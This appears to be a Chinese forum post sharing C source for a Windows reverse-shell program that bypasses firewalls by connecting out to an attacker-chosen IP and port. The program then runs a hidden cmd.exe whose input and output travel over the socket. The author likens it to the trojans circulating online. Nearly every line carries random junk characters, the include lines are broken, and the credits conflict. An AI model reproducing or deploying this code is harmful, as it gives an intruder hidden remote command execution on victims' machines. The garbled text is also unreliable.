Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 V\Cu|m&HI  
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/* ============================== `#E1FB2M  
Rebound port in Windows NT AKejWh  
By wind,2006/7 {O[a+r.n  
===============================*/ N.l+9L0b  
#include "xi)GH]H_  
#include )L<NW{  
n'K,*  
#pragma comment(lib,"wsock32.lib") 3t)07(x_B  
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void OutputShell(); !SMIb(~[z  
SOCKET sClient; 4,`Yx s)%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vm_+U*%c  
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void main(int argc,char **argv) mY+Jju1  
{
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WSADATA stWsaData; ] K3^0S/  
int nRet; TW" TgOfd  
SOCKADDR_IN stSaiClient,stSaiServer; n>"0y^v  
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if(argc != 3) mR)Xq=  
{ VE`5bD+%e  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ys|tG
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return; .i) H1sD  
} <j+DY@*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); /PafIq  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~xerZQgc  
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stSaiClient.sin_family = AF_INET; w^6rgCl  
stSaiClient.sin_port = htons(0); `A_CLVE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GWsvN&nr  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ )"`(+Ku&c  
printf("Bind Socket Failed!\n"); ph qx<N@  
return; wuRQ H]N  
} Z]V^s8>  
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stSaiServer.sin_family = AF_INET; ["TUSf]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gdPv,p19L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R*|y:T,H  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &@p_g8r#  
{ c6.S jV  
printf("Connect Error!"); (NR8B9qLN  
return; :m#[V7  
} c>!zJAB  
OutputShell(); *-'u(o  
} Ta8;   
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void OutputShell() ce7$r*@!  
{ E!nEB(FD  
char szBuff[1024]; va 7I_J  
SECURITY_ATTRIBUTES stSecurityAttributes; jeXP|;#Una  
OSVERSIONINFO stOsversionInfo; C,r[H5G#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a|?&  
STARTUPINFO stStartupInfo; ,<Zu4bww  
char *szShell; ,j E'd'$  
PROCESS_INFORMATION stProcessInformation; Fjch<gAofS  
unsigned long lBytesRead; &\),V1"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zW.I7Z0^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ldk (zAB.  
stSecurityAttributes.lpSecurityDescriptor = 0; <cS"oBh&u0  
stSecurityAttributes.bInheritHandle = TRUE; cetHpU,  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 14>WpNN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tQ~vLPi$  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w{TZN{Y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {x_SnZz&  
stStartupInfo.wShowWindow = SW_HIDE; #@%DY*w]v  
stStartupInfo.hStdInput = hReadPipe; iXLODuI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); E0HXB1"  
}9=X*'BO  
switch(stOsversionInfo.dwPlatformId) -7-r~zmr  
{ ^#
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case 1: 9lXjB_wG>  
szShell = "command.com"; } V *  
break; .Z?@;2<l  
default: 0APh=Alq  
szShell = "cmd.exe"; ^i+ d3  
break; _C"=Hy{  
} C.]\4e  
4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :DWvH,{+&  
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send(sClient,szMsg,77,0); b-!+Q)  
while(1) p}}pq~EH/  
{ x;N@_FZ7KY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J)o.@+Q}  
if(lBytesRead) c?(;6$A  
{ #dO8) t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qe
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send(sClient,szBuff,lBytesRead,0); fGdT2}gd  
} mv1g2f+  
else JJC YM  
{ xD.Uh}:J  
lBytesRead=recv(sClient,szBuff,1024,0); +|0f7RB+R  
if(lBytesRead<=0) break; 2><=U7~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /6fa 7;  
} X%X`o%AqC  
} =:fN  
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return; 1PGY/c  
}